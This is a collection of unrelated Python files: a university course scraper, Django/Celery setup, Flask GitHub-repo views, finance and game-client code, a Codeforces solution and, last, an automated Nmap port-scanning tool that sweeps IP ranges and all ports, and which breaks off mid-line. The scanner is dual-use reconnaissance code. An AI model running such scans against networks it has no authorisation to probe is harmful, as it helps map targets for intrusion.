in table: subjects[item.get_text()]='https://duapp2.drexel.edu'+item.get('href') return subjects class CourseInfor(threading.Thread): def __init__(self,url,name): super(CourseInfor,self).__init__() self.url=url self.name=name def run(self): statue=True while statue: try: html=requests.get(self.url,headers=headers,timeout=30).text statue=False except: continue table=BeautifulSoup(html,'lxml').find('td',attrs={'align':'center'}).find('table').find_all('tr') self.course_list=[] courses=[] for item in table[1:-1]: course=self.subject_parser(item) if course==False: continue courses.append(course) for course in courses: course=self.course_parser(course) self.course_list.append(course) print('------'+self.name+'--OK') def course_parser(self,course): statue=True while statue: try: html=requests.get(course['url'],headers=headers,timeout=30).text statue=False except: continue soup=BeautifulSoup(html,'lxml').find('table',attrs={'align':'center','valign':'top'}) baseInforTable=soup.find('td',attrs={'align':'left'}).find_all('td',attrs={'align':'center'}) trs=baseInforTable[0].find_all('tr') lists=['SubjectCode','CourseNumber','Section','Credits','Title','Campus','Instructors','Instruction_Type','Instruction_Method','Max_Enroll','Enroll','Section_Comments'] for num in range(len(lists)): try: course[lists[num]]=trs[num+1].find_all('td')[1].get_text() except: course[lists[num]]='--' table=baseInforTable[1].find('tr',attrs={'class':'even'}).find_all('td') course['Building']=table[-2].get_text() course['Room']=table[-1].get_text() subjectInforText=soup.find('td',attrs={'align':'center','valign':'top'}).get_text() reText={'College':'College:([\s\S]*)Department','Restrictions':'Restrictions:([\s\S]*)Co-Requisites','Co-Requisites':'Co-Requisites:([\s\S]*)Pre-Requisites','Pre-Requisites':'Pre-Requisites:([\s\S]*)Repeat Status','Repeat Status':'Repeat Status:([\s\S]*)'} for key in reText: try: course[key]=re.findall(reText[key],subjectInforText)[0] except: course[key]='--' return course def subject_parser(self,item): course={} try: url='https://duapp2.drexel.edu'+item.find('a').get('href') except: return False course['url']=url course['CRN']=item.find('a').get_text() course['Times']=item.find('table').get_text() return course def Get_Course(Quarter,college,subjects): print(Quarter+'--'+college+'--Start') excel=xlwt3.Workbook() threadings=[] for subject in subjects: work=CourseInfor(subjects[subject], subject) threadings.append(work) for work in threadings: work.setDaemon(True) work.start() for work in threadings: work.join() sheet=excel.add_sheet(college) count=0 lists=['SubjectCode','CourseNumber','CRN','Section','Credits','Times','Title','Campus','Instructors','Instruction_Type' ,'Instruction_Method','Max_Enroll','Enroll','Section_Comments','Building','Room','College','Restrictions','Co-Requisites','Pre-Requisites','Repeat Status','url'] for work in threadings: for course in work.course_list: for num in range(len(lists)): sheet.write(count,num,course[lists[num]]) count+=1 print(Quarter+'--'+college+'--OK') excel.save(Quarter+'/'+college+'.xls') def main(): quarter=Get_Quarter() for key in quarter: colleges=Get_College(quarter[key]) try: os.mkdir(key) except: print('--') excel=xlwt3.Workbook() threadings=[] for college in colleges: subjects=Get_subjects(colleges[college]) work=threading.Thread(target=Get_Course,args=(key, college, subjects)) threadings.append(work) for work in threadings: work.setDaemon(True) work.start() for work in threadings: work.join() print('----------'+key+'--OK----------') main()
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from __future__ import absolute_import import os from celery import Celery from django.apps import apps, AppConfig from django.conf import settings if not settings.configured: # set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'config.settings.local') # pragma: no cover app = Celery('pingdumb') class CeleryConfig(AppConfig): name = 'pingdumb.taskapp' verbose_name = 'Celery Config' def ready(self): # Using a string here means the worker will not have to # pickle the object when using Windows. app.config_from_object('django.conf:settings') installed_apps = [app_config.name for app_config in apps.get_app_configs()] app.autodiscover_tasks(lambda: installed_apps, force=True) if hasattr(settings, 'RAVEN_CONFIG'): # Celery signal registration from raven import Client as RavenClient from raven.contrib.celery import register_signal as raven_register_signal from raven.contrib.celery import register_logger_signal as raven_register_logger_signal raven_client = RavenClient(dsn=settings.RAVEN_CONFIG['DSN']) raven_register_logger_signal(raven_client) raven_register_signal(raven_client) if hasattr(settings, 'OPBEAT'): from opbeat.contrib.django.models import client as opbeat_client from opbeat.contrib.django.models import logger as opbeat_logger from opbeat.contrib.django.models import register_handlers as opbeat_register_handlers from opbeat.contrib.celery import register_signal as opbeat_register_signal try: opbeat_register_signal(opbeat_client) except Exception as e: opbeat_logger.exception('Failed installing celery hook: %s' % e) if 'opbeat.contrib.django' in settings.INSTALLED_APPS: opbeat_register_handlers() @app.task(bind=True) def debug_task(self): print('Request: {0!r}'.format(self.request)) # pragma: no cover
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# -*- coding:utf-8 -*- # !/bin/python """ Author: ronnyzh Date: 2019/11/15 Revision: 1.0.0 Description: Description """ from model.model_redis import getInst from define.define_redis_key import * IP = '192.168.50.2' PORT = '9797' if __name__ == '__main__': redis = getInst() ipKey = Key_Server_Order % ('%s:%s' % (IP, PORT)) redis.lpush(ipKey, 'closeServer')
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import datetime import logging import collections from flask import (current_app, flash, request, render_template, redirect, url_for, abort) from flask.ext.login import current_user from kozmic import db from kozmic.models import User, Organization, Project, DeployKey from . import bp logger = logging.getLogger(__name__) @bp.route('/') def index(): user_repositories = current_user.repositories.with_entities( db.literal(current_user.gh_login).label('gh_owner_login'), User.Repository.gh_id.label('gh_id'), User.Repository.gh_full_name.label('gh_full_name')) user_org_repositories = current_user.organizations.join( Organization.Repository ).with_entities( Organization.gh_login.label('gh_owner_login'), Organization.Repository.gh_id.label('gh_id'), Organization.Repository.gh_full_name.label('gh_full_name'), ) repositories = user_repositories.union_all(user_org_repositories).subquery() repositories_without_project = db.session.query(repositories).outerjoin( Project, repositories.c.gh_id == Project.gh_id ).filter(Project.id == None).all() repositories_by_owner = collections.defaultdict(list) for gh_owner_login, gh_id, gh_full_name in repositories_without_project: repositories_by_owner[gh_owner_login].append((gh_id, gh_full_name)) return render_template( 'repos/index.html', repositories_by_owner=repositories_by_owner) @bp.route('/sync/') def sync(): """Updates the organizations and repositories to which the user has admin access. """ # Delete all the old repositories and organizations # (don't do batch delete to let ORM-level cascades work) for repo in current_user.repositories: db.session.delete(repo) for org in current_user.organizations: db.session.delete(org) # Fill the user's organizations and their repositories gh_orgs, gh_repos_by_org_id = current_user.get_gh_org_repos() for gh_org in gh_orgs: org = Organization( gh_id=gh_org.id, gh_login=gh_org.login, gh_name=gh_org.name) for gh_repo in gh_repos_by_org_id[gh_org.id]: repo = Organization.Repository.from_gh_repo(gh_repo) org.repositories.append(repo) current_user.organizations.append(org) # Fill the user's own repositories for gh_repo in current_user.get_gh_repos(): repo = User.Repository.from_gh_repo(gh_repo) current_user.repositories.append(repo) current_user.repos_last_synchronized_at = datetime.datetime.utcnow() db.session.commit() return redirect(url_for('.index')) @bp.route('/<int:gh_id>/on/', methods=('POST',)) def on(gh_id): """Creates :class:`app.models.Project` for GitHub repository with `gh_id`. """ # First try to find the user's repository with `gh_id` repo = (current_user.repositories .filter(User.Repository.gh_id == gh_id).first()) # If not found, try to find such a repository among # the user organizations' repositories repo = repo or (current_user.organizations .join(Organization.Repository) .filter(Organization.Repository.gh_id == gh_id) .with_entities(Organization.Repository).first()) if not repo: abort(404) if Project.query.filter_by(gh_id=repo.gh_id).first(): # If project for repository with `gh_id` already exists, # we should show page where the user can ask for an invite # to the existing project. # For now just show 400 abort(400) project = Project( owner=current_user, gh_id=repo.gh_id, gh_name=repo.gh_name, gh_full_name=repo.gh_full_name, gh_login=repo.parent.gh_login, gh_ssh_clone_url=repo.gh_ssh_clone_url, gh_https_clone_url=repo.gh_https_clone_url, is_public=repo.is_public) db.session.add(project) ok_to_commit = True if not project.is_public: project.deploy_key = DeployKey(passphrase=project.passphrase) ok_to_commit = ok_to_commit and project.deploy_key.ensure() ok_to_commit = ok_to_commit and project.sync_memberships_with_github() if ok_to_commit: db.session.commit() return redirect(url_for('projects.settings', id=project.id)) else: db.session.rollback() flash('Sorry, failed to create a project. Please try again later.', 'warning') return redirect(url_for('.index'))
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def nome_usuario (string): pos = string.find('@') nome = string[:pos] return nome
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#!/usr/bin/env python3 # -*- coding: utf-8 -*- # --- # jupyter: # jupytext: # text_representation: # extension: .py # format_name: light # format_version: '1.4' # jupytext_version: 1.1.4 # kernelspec: # display_name: Python 3 # language: python # name: python3 # --- # # s_generalized_flam_toy [<img src="https://www.arpm.co/lab/icons/icon_permalink.png" width=30 height=30 style="display: inline;">](https://www.arpm.co/lab/redirect.php?code=s_generalized_flam_toy&codeLang=Python) # For details, see [here](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy). # + import numpy as np from arpym.statistics import objective_r2, simulate_normal from arpym.tools import solve_riccati # - # ## [Input parameters](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-parameters) # + sig2 = np.array rho = 0.3 epsi = 0.45 s = np.array([[0.3], [0.1]]) w = np.array([[1], [-3]]) sig = 1 sig2 = np.array([[1, 0.5, epsi, epsi], [0.5, 1, epsi, epsi], [epsi, epsi, 1, rho], [epsi, epsi, rho, 1]]) # - # ## [Step 1](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step01): conditional expectation and covariance # + def cond_exp_x(s, k=2, sig2=sig2): return sig2[:2, -k:] @ np.linalg.solve(sig2[-k:, -k:], s) def cond_cov_x(k=2, sig2=sig2): return sig2[:2, :2] - sig2[:2, -k:] @ np.linalg.solve(sig2[-k:, -k:], sig2[:2, -k:].T) cond_mu_x = cond_exp_x(s) cond_sig2_x = cond_cov_x() # - # ## [Step 2](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step02): Max of cond. info ratio and combination at which is attained w_sig = sig * np.linalg.solve(cond_sig2_x, cond_mu_x) / \ np.sqrt(cond_mu_x.T @ np.linalg.solve(cond_sig2_x, cond_mu_x)) max_ir = w_sig.T @ cond_mu_x / np.sqrt(w_sig.T @ cond_sig2_x @ w_sig) # ## [Step 3](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step03): Max of cond. info ratio via flam and transfer coefficient max_ir_flam = np.sqrt(cond_mu_x.T @ np.linalg.solve(cond_sig2_x, cond_mu_x)) ir_arb = w.T @ cond_mu_x / np.sqrt(w.T @ cond_sig2_x @ w) tc = ir_arb / max_ir_flam # ## [Step 4](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step04): Max. unconditional info ratios # + def uncond_max_ir(k, sig2=sig2): # Monte Carlo scenarios for the signals s_j = simulate_normal(np.zeros((2)), sig2[-2:, -2:], 1000).T cond_mu_x_j = cond_exp_x(s_j[:k, :], k, sig2) # Monte Carlo scenarios for the conditioned max info ratio max_ir_j = cond_mu_x_j.T @ \ np.linalg.solve(cond_cov_x(k, sig2), cond_mu_x_j) return np.sqrt(np.trace(max_ir_j) / 1000) uncond_maxir_12 = uncond_max_ir(2) uncond_maxir_1 = uncond_max_ir(1) uncond_maxir_2 = uncond_max_ir(1) print(uncond_maxir_12**2 - (uncond_maxir_1**2 + uncond_maxir_2**2)) # verify that (epsi << 1) implies weak signals sig2_weak = np.array([[1, 0.5, 0.1, 0.1], [0.5, 1, 0.1, 0.1], [0.1, 0.1, 1, rho], [0.1, 0.1, rho, 1]]) print(cond_cov_x(2, sig2_weak)) print(sig2[:2, :2]) # independent signals (rho = 0) and weak correlation (epsi << 1) sig2_weak_ind = np.array([[1, 0.5, 0.1, 0.1], [0.5, 1, 0.1, 0.1], [0.1, 0.1, 1, 0], [0.1, 0.1, 0, 1]]) maxir_12_weak_ind = uncond_max_ir(2, sig2_weak_ind) maxir1_weak_ind = uncond_max_ir(1, sig2_weak_ind) maxir2_weak_ind = uncond_max_ir(1, sig2_weak_ind) print(maxir_12_weak_ind**2 - (maxir1_weak_ind**2 + maxir2_weak_ind**2)) # - # ## [Step 5](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step05): information coefficients # + def ic(k, sig2=sig2): return np.sqrt(2 * objective_r2(np.arange(k), sig2, 2, sig2[:2, :2])) ic_12 = ic(2) ic_1 = ic(1) ic_2 = ic(1) print(ic_12**2 - (ic_1**2 + ic_2**2)) # independent signals (rho = 0) sig2_ind = np.array([[1, 0.5, epsi, epsi], [0.5, 1, epsi, epsi], [epsi, epsi, 1, 0], [epsi, epsi, 0, 1]]) ic_12_ind = ic(2, sig2_ind) ic_1_ind = ic(1, sig2_ind) ic_2_ind = ic(1, sig2_ind) print(ic_12_ind**2 - (ic_1_ind**2 + ic_2_ind**2)) # - # ## [Step 6](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step06): linkage matrix # + def linkage(sig2=sig2): return np.linalg.solve(solve_riccati(sig2[:2, :2]), np.linalg.solve(solve_riccati(sig2[2:, 2:]).T, sig2[:2, 2:].T).T) p_s_x = linkage(sig2) # - # ## [Step 7](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step07): Fundamental law of active management (weak signals) # + sig2_weak = np.array([[1, 0.5, 0.1, 0.1], [0.5, 1, 0.1, 0.1], [0.1, 0.1, 1, rho], [0.1, 0.1, rho, 1]]) p_s_x_weak = linkage(sig2_weak_ind) # information coefficient ic_linkage = np.sqrt(np.trace(p_s_x_weak @ p_s_x_weak.T)) # max information ratio s_tilde = np.linalg.solve(solve_riccati(sig2_weak[2:, 2:]), s) maxir_linkage = uncond_max_ir(2, sig2=sig2_weak) print(maxir_linkage**2 - ic_linkage**2) # - # ## [Step 8](https://www.arpm.co/lab/redirect.php?permalink=s_generalized_flam_toy-implementation-step08): Fundamental law of active management (weak and ind. signals) # + p_s_x_weak_ind = linkage(sig2_weak_ind) # information coefficient (single signal) ic_linkage_1 = np.sqrt(np.trace(p_s_x_weak[:, [0]] @ p_s_x_weak[:, [0]].T)) print(ic_linkage_1 * np.sqrt(2) - maxir_12_weak_ind)
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#Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\client\script\environment\spaceObject\entityShip.py import blue import destiny from eve.client.script.environment.spaceObject.spaceObject import SpaceObject from eve.client.script.environment.spaceObject.ship import Ship from eve.client.script.environment.model.turretSet import TurretSet import eve.common.lib.appConst as const import evetypes class EntityShip(Ship): launcherTypeCache = {} def __init__(self): Ship.__init__(self) self.gfxTurretID = None self.fitted = False self.typeID = None self.modules = {} self.model = None self.launcherTypeID = None def LoadModel(self, fileName = None, loadedModel = None): godma = self.sm.GetService('godma') godmaStateManager = godma.GetStateManager() godmaType = godmaStateManager.GetType(self.typeID) self.turretTypeID = godmaType.gfxTurretID missileTypeID = godmaType.entityMissileTypeID self.launcherTypeID = self.DetermineLauncherTypeFromMissileID(self.typeID, missileTypeID) SpaceObject.LoadModel(self) def Assemble(self): Ship.Assemble(self) self.FitBoosters(isNPC=True) self.SetupSharedAmbientAudio() def DetermineLauncherTypeFromMissileID(self, typeID, missileTypeID): launcherType = self.launcherTypeCache.get(missileTypeID, None) if launcherType: return launcherType clientDogma = self.sm.GetService('clientDogmaStaticSvc') usesMissiles = clientDogma.TypeHasEffect(typeID, const.effectMissileLaunchingForEntity) if not usesMissiles: return godma = self.sm.GetService('godma') group = int(godma.GetTypeAttribute2(missileTypeID, const.attributeLauncherGroup)) for typeID in evetypes.GetTypeIDsByGroup(group): if typeID in cfg.invmetatypesByParent: launcherType = typeID self.launcherTypeCache[missileTypeID] = launcherType break return launcherType def LookAtMe(self): if self.model is None: return if not self.fitted: self.FitHardpoints() def FitHardpoints(self, blocking = False): if self.model is None: self.LogWarn('FitHardpoints - No model') return if self.fitted: return self.fitted = True turretLocatorCount = int(self.model.GetTurretLocatorCount()) if self.launcherTypeID: launcherSet = TurretSet.FitTurret(self.model, self.launcherTypeID, turretLocatorCount, count=1) self.modules[0] = launcherSet turretLocatorCount = max(turretLocatorCount - 1, 1) newTurretSet = TurretSet.FitTurret(self.model, self.turretTypeID, -1, count=turretLocatorCount) if newTurretSet is not None: self.modules[self.id] = newTurretSet def Release(self): if self.released: return for turretPair in self.modules.itervalues(): if turretPair is not None: turretPair.Release() turretPair.owner = None self.modules = {} Ship.Release(self) class EntitySleeper(EntityShip): def FitHardpoints(self, blocking = False): if self.launcherTypeID: self.launcherTypeID = 0 EntityShip.FitHardpoints(self)
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/envs/dmlab/dmlab_populate_cache.py
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Zhehui-Huang/scalable_agent
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import sys from algorithms.utils.multi_env import MultiEnv from envs.dmlab.dmlab_utils import DmlabGymEnv from utils.utils import log def main(): def make_env(env_config): env = DmlabGymEnv('contributed/dmlab30/rooms_watermaze', 4) return env num_envs = 64 num_workers = 16 multi_env = MultiEnv(num_envs, num_workers, make_env, stats_episodes=100) num_resets = 0 try: while True: multi_env.reset() num_resets += 1 num_envs_generated = num_resets * num_envs log.info('Generated %d environments...', num_envs_generated) except (Exception, KeyboardInterrupt, SystemExit): log.exception('Interrupt...') finally: log.info('Closing env...') multi_env.close() return 0 if __name__ == '__main__': sys.exit(main())
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/nina-service/app/api/v1/users/messenger.py
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OscarGibson/docker-messenger-test
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import requests class Messenger: def __init__(self, receiver, *args, **kwargs): self.receiver = receiver self.headers = { 'content-type' : 'application/json', } def set_headers(self, request_object): self.headers['Authorization'] = request_object.headers.get('Authorization') def send(self, data= {}, method= 'get', params= ''): # print("SENFING: ", self.receiver % params) return getattr(requests, method)(self.receiver % params, json= data, headers= self.headers)
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/python/round481/978C.py
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[]
no_license
npkhanhh/codeforces
b52b66780426682ea1a3d72c66aedbe6dc71d7fe
107acd623b0e99ef0a635dfce3e87041347e36df
refs/heads/master
2022-02-08T17:01:01.731524
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py
from sys import stdin import bisect n, m = list(map(int, stdin.readline().split())) a = list(map(int, stdin.readline().split())) b = list(map(int, stdin.readline().split())) p_a = [0]*n p_a[0] = a[0] for i in range(1, n): p_a[i] = a[i] + p_a[i-1] p_a = [0]+p_a for i in b: dorm = bisect.bisect(p_a, i) room = i - p_a[dorm-1] if room == 0: dorm -= 1 room = a[dorm-1] print(dorm, room)
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/Dictator_service/bin_gui/main_class_based_backup.py
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[]
no_license
Wuwqhnsya/Dictator
3d57db6bc0138464884ddc9fe7378907ab86e3ef
45388fec03a4acdac3620611b3bccfa3c991d65f
refs/heads/master
2020-04-28T21:57:39.309165
2019-01-28T19:10:28
2019-01-28T19:10:28
175,600,478
1
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null
2019-03-14T10:34:02
2019-03-14T10:34:02
null
UTF-8
Python
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py
#!/usr/bin/python import time import threading import time import nmap import multiprocessing import os import sys import ConfigParser #import mysql.connector import MySQLdb import atexit import IPtable import texttable as tt import Simple_Logger r = '\033[31m' #red b = '\033[34m' #blue g = '\033[32m' #green y = '\033[33m' #yellow m = '\033[34m' #magenta c = '\033[36m' #magenta e = '\033[0m' #end def test(): print "\n\n\n Exiting Bye Bye !!!" atexit.register(test) class NmapScan: def __init__(self): self.IP="" self.PORT=None self.SWITCH="" self.CURRENT_PROJECT_ID="" self.takescan="" self.N=4 self.Port_Divisior=7500 self.Pause_Flag=False self.Stop_Flag=False self.ipcount=0 self.IPtable=IPtable.IPtable() self.method_id="INIT" self.Thread_pool=[] self.retry_count=0 self.max_retries=3 self.simple_logger=Simple_Logger.SimpleLogger() self.lock=threading.Lock() self.folder_name=os.path.join("Results","Data_") def generate_Error_log(status,ipx,portx,pid): try: print "Logged exception" '''self.data_path=self.folder_name+str(self.pid) error_file=str(project_id)+"_error.txt" error_file_path = os.path.join(self.data_path, error_file) self.lock.acquire() simple_logger.log(error_file_path,"Error -->,Status:Error Complete,Host :"+str(ipx)+",Port:"+str(portx)+",Project id :"+str(pid)+"\n") self.lock.release()''' except Exception ,ee: print "Exception while writing to error file :"+str(ee) def portscanner(self,ipx,portx): #switch,current_project_id nm=nmap.PortScanner() try: if portx=="top_ports": nm.scan(ipx,None,self.SWITCH) else: nm.scan(ipx,portx,self.SWITCH) except Exception ,ex: self.seperator() print r+"\n\nEXCEPTION in nmap built in utiliry--> "+str(ex) +e self.seperator() self.seperator() print g+"\n\nRe-attempts made on this record :"+str(self.retry_count)+e self.seperator() self.retry_count =self.retry_count+1 if (self.retry_count < self.max_retries): print g+"\n\nRe-attemting for the failed record"+e self.IPtable.UpdateStatus('incomplete',ipx,portx,int(self.CURRENT_PROJECT_ID)) else: print g+"\n\nMax re attempts exceeded - Updating status to ERror-complete"+e print r+"\n\nPlease see the error log for further details.IT would mention the host for which the nmap module failed"+e self.IPtable.UpdateStatus('error-complete',ipx,portx,int(self.CURRENT_PROJECT_ID)) self.generate_Error_log('error-complete',ipx,portx,int(self.CURRENT_PROJECT_ID)) return 0 try: temp=nm.scanstats()['uphosts'] if (int(temp) != 0): host=ipx if 'tcp' in nm[host].all_protocols(): self.seperator() print "Result for IP : " + host print('Protocol : TCP' ) for kk in nm[host]['tcp'].keys(): if (nm[host]['tcp'][kk]['name'])=='': nm[host]['tcp'][kk]['name']='unknown' lport = nm[ipx]['tcp'].keys() lport.sort() for port in lport: print b+'port : ' +y+str(port) + ' \t ' + g+ nm[host]['tcp'][port]['state'] +' \t' +r +'' + nm[host]['tcp'][port]['name'] +e self.seperator() sd=nm.csv() #print "Reached at update point " try : self.IPtable.Update(sd,portx,ipx,int(self.CURRENT_PROJECT_ID)) except Exception ,ee : self.print_Log("Exception in update "+str(ee)) print "EXception Update main "+str(ee) if 'udp' in nm[host].all_protocols(): self.seperator() #self.IPtable.Update(sd,portx,ipx,int(self.CURRENT_PROJECT_ID)) print "Result for IP : " + host print('Protocol : UDP' ) lport = nm[ipx]['udp'].keys() lport.sort() for kk in nm[host]['tcp'].keys(): if (nm[host]['udp'][kk]['name'])=='': nm[host]['tcp'][kk]['name']='unknown' for port in lport: print b+'port : ' +y+str(port) + ' \t ' + g+ nm[host]['udp'][port]['state'] +' \t' +r +'' + nm[host]['udp'][port]['name'] +e self.seperator() sd=nm.csv() try : self.IPtable.Update(sd,portx,ipx,int(self.CURRENT_PROJECT_ID)) except Exception ,ee : print "EXception Update main "+str(ee) self.print_Log("Exception in update "+str(ee)) status="complete" #print "\n\n\n!!!Completed!!! Ip : "+ipx+"\n\n\n -Protocols ---> "+str(nm[host].all_protocols())+"\n\n" try : self.IPtable.UpdateStatus(status,ipx,portx,int(self.CURRENT_PROJECT_ID)) except Exception ,ee : self.print_Log("Exception in update status "+str(ee)) else: statuss="host-down" try : self.IPtable.UpdateStatus(statuss,ipx,portx,int(self.CURRENT_PROJECT_ID)) except Exception ,ee : self.print_Log("Exception in update status host-down "+str(ee)) except Exception,exc: self.print_Log("Parent exception : "+str(exc)) def ThreadEnd(self,ipl): print "\n\nThread ended with host ip -"+str(ipl)+"\n\n" #startProcessing(1) def simplescanner(self,ipl): self.method_id="Simple scanner" self.print_Log("Started Simple acanner") stport=0 lsport=0 port_list=[] process_list=[] try : port_list=self.IPtable.getPorts(str(ipl),self.CURRENT_PROJECT_ID) if(port_list): for port in port_list: fport=str(port[0]) #fport=1 -5001 #print "\n\nFport is :"+fport +" IP :" +str(ipl) +"id :" +str(self.CURRENT_PROJECT_ID) time.sleep(10) try : self.IPtable.UpdateStatus('processing',ipl,fport,int(self.CURRENT_PROJECT_ID)) except Exception, ee: print "EXception 13.01 : " +str(ee) tp=multiprocessing.Process(target=self.portscanner,args=(ipl,fport)) # process_list.append(tp) tp.start() #print "\n\nStarted subprocess for ip " +str(ipl) +" and port "+ str(port) +" and Process : "+str(tp) for process_ in process_list: process_.join() print "\n\n Finished subprocess for ip " +str(ipl) +" and Process : "+str(process_) else: #print "The current ip address has all its ports scanned -->Must have not been there" +str(ipl) self.print_Log("Some exception-->The current ip address has all its ports scanned -->Must have not been there" +str(ipl)) self.print_Log("Ended Simple acanner") except Exception ,ee: print "EXception 11" +str(ee) self.print_Log("Exception inSimpleScanner-->"+str(ee)) self.ThreadEnd(ipl) def topport_scan(self,ipls,portl): #this would be invoked if the given port list would be empty such that only the top ports would be scanned tp=multiprocessing.Process(target=portscanner,args=(ipls,"top_ports")) tp.start() tp.join() def getBulkInsertList_(self,start,end,iplist): #print "About to make bulk enteries - #Ip:"+ str(len(iplist) ) BulkList=[] counter=1 #global P for ip in iplist: x=int(start) pnum=end-start+1 #First port number in the sequence say 1-10023 is the range ->pnum =10023 r=pnum%self.Port_Divisior #r = 10023 % 5000 --> r=23 q=pnum//self.Port_Divisior # Floor division ->q=quetient= 10023/5000 => 2.004 ,since floor ,thus q=2 check=q*self.Port_Divisior #check =2*5000 =>10,000 #x=int(start) #x=1 ip_list=[] while check>0: #(1) check=10000 >0 (2) check=5000 > 0 for tport in range(x,x+self.Port_Divisior,self.Port_Divisior): fport=str(tport)+'-' +str(tport+self.Port_Divisior) #fport=1 -5001 BulkList.append((self.CURRENT_PROJECT_ID,ip,fport,'incomplete')) x=x+self.Port_Divisior check=check-self.Port_Divisior # (A) 1 --> check=5000 , (B) 1 --> check =0 counter=counter+1 #By this time 1-10,000 ports would be scanned .The idea is to scan 5000 ports at 1 time. #The number of ports left are 23 check=q*self.Port_Divisior #check =10,000 #print "\n\n\n\n check is "+str(check )+" Pnum is "+str(pnum)+"\n\n\n\n" if check < end : if pnum!=0 : #pnum=10023 print "Scanning remaining ports" prange=str(start+check)+"-"+str(start+check+r-1) #prange= (100001-10,0023) -->Thus the remaining 23 ports are ranged out print "Range is :"+ prange+"\n\n\n" BulkList.append((self.CURRENT_PROJECT_ID,ip,prange,'incomplete')) print "\n\nLoop executed : "+str(counter) return BulkList; def getBulkInsertList(self,all_ports,iplist): print "(1)--About to make bulk enteries - #Ip:"+ str(len(iplist)) BulkList=[] if (all_ports == None) : print "in if(1)" all_Ports_="top_ports" for ip in iplist: BulkList.append((self.CURRENT_PROJECT_ID,ip,all_Ports_,'incomplete')) elif "-" in all_ports: print "in elif(1)" tlist=all_ports.split('-') #Split them and the list would be stored in variable named tlist stport=int(tlist[0]) #First port lsport=int(tlist[1]) if ((lsport-stport)< 5000): for ip in iplist: BulkList.append((self.CURRENT_PROJECT_ID,ip,all_ports,'incomplete')) else : BulkList=self.getBulkInsertList_(stport,lsport,iplist) else : print "in else" for ip in iplist: BulkList.append((self.CURRENT_PROJECT_ID,ip,all_ports,'incomplete')) #print "\n\nBulk List is \n\n" #print BulkList return BulkList def multiscan(self,start,end,ipls): #This would be invokd when the number of ports per host to be scanned exceed 5000 pnum=end-start+1 #First port number in the sequence say 1-10023 is the range ->pnum =10023 r=pnum%5000 #r = 10023 % 5000 --> r=23 q=pnum//5000 # Floor division ->q=quetient= 10023/5000 => 2.004 ,since floor ,thus q=2 check=q*5000 #check =2*5000 =>10,000 x=int(start) #x=1 while check>0: #(1) check=10000 >0 (2) check=5000 > 0 for tport in range(x,x+5000,5000): fport=str(tport)+'-' +str(tport+5000) #fport=1 -5001 tp=multiprocessing.Process(target=portscanner,args=(ipls,fport)) tp.start() #tp.join() x=x+5000 # (A) 1 --> x=5001 -->It will break from this loop (B) 1 --> x=10,001 -->it shall break the loop # print "Scan from " + str(tport) + " till " + str(tport+5000)+ " Done" check=check-5000 # (A) 1 --> check=5000 , (B) 1 --> check =0 #By this time 1-10,000 ports would be scanned .The idea is to scan 5000 ports at 1 time. #The number of ports left are 23 check=q*5000 #check =10,000 if pnum!=0: #pnum=10023 # print "Scanning remaining ports" prange=str(start+check)+"-"+str(start+check+r-1) #prange= (100001-10,0023) -->Thus the remaining 23 ports are ranged out # print prange tp=multiprocessing.Process(target=portscanner,args=(ipls,prange)) #Finally invoking the cpode portscanner for remaining 23 ports with range (10,001 -10,023) tp.start() #tp.join() def singlescan(self,start,end,ipls): #print "Single Scan" prange=str(start)+"-"+str(end) tp=multiprocessing.Process(target=portscanner,args=(ipls,prange)) tp.start() tp.join() def numofips(self,iprange): #Converts CIDR notation as simple list scanner=nmap.PortScanner() IPlist=scanner.listscan(iprange) return IPlist #Thus this wosuld be a list of IP addres def banner(self,): print g+" ################################################################# "+e print g+" ###"+r+" __ "+g+"### "+e print g+" ###"+r+" /\ \ \_ __ ___ __ _ _ __ "+g+"### "+e print g+" ###"+r+" / \/ / '_ ` _ \ / _` | '_ \ "+g+"### "+e print g+" ###"+r+"/ /\ /| | | | | | (_| | |_) | "+g+"### "+e print g+" ###"+r+"\_\ \/ |_| |_| |_|\__,_| .__/ "+g+"### "+e print g+" ###"+r+" |_| "+g+"### "+e print g+" ###"+r+" _ _ "+g+"### "+e print g+" ###"+r+" /_\ _ _| |_ ___ _ __ ___ __ _| |_(_) ___ _ __ "+g+"### "+e print g+" ###"+r+" //_\\| | | | __/ _ \| '_ ` _ \ / _` | __| |/ _ \| '_ \ "+g+"### "+e print g+" ###"+r+"/ _ \ |_| | || (_) | | | | | | (_| | |_| | (_) | | | | "+g+"### "+e print g+" ###"+r+"\_/ \_/\__,_|\__\___/|_| |_| |_|\__,_|\__|_|\___/|_| |_| "+g+"### "+e print g+" ###"+r+" "+g+"### "+e print g+" ###"+r+" __ _ _ "+g+"### "+e print g+" ###"+r+"/ _\ ___ _ __(_)_ __ | |_ "+g+"### "+e print g+" ###"+r+"\ \ / __| '__| | '_ \| __| "+g+"### "+e print g+" ###"+r+"_\ \ (__| | | | |_) | |_ "+g+"### "+e print g+" ###"+r+"\__/\___|_| |_| .__/ \__| "+g+"### "+e print g+" ###"+r+" |_| "+g+"### "+e print g+" ###"+b+" Written by: M$P@T3L "+g+"### "+e print g+" ################################################################# "+e def seperator(self): print r+ "----------------------------------------------" +e def create_schema(self): with open(schema_file, 'rt') as f: schema = f.read() conn.executescript(schema) def prompt_project(self): projectname=raw_input(b+"What is your Project name(no white spaces)? \n>"+y) return projectname def prompt_ips(self): ips=raw_input(b+"Type the IP range: \n>"+y) IP=ips return ips def prompt_ports(self): ports=raw_input(b+"Enter the Port number or Ports range: \n>"+y) #global PORT if ports == "": self.PORT=None elif(ports=="*"): self.PORT="1-65535" else: self.PORT=ports return self.PORT def print_Log(self,message): print str(message) def print_Error(self,message): print str(message) def db_projectname(self,projectname_db,IP_range,Port_range): # Store the project name and return the auto generated id self.method_id="db_projectname" self.print_Log("Method started") print "Hello" time.sleep(10) try : pid=self.IPtable.Insert(projectname_db,IP_range,Port_range) if 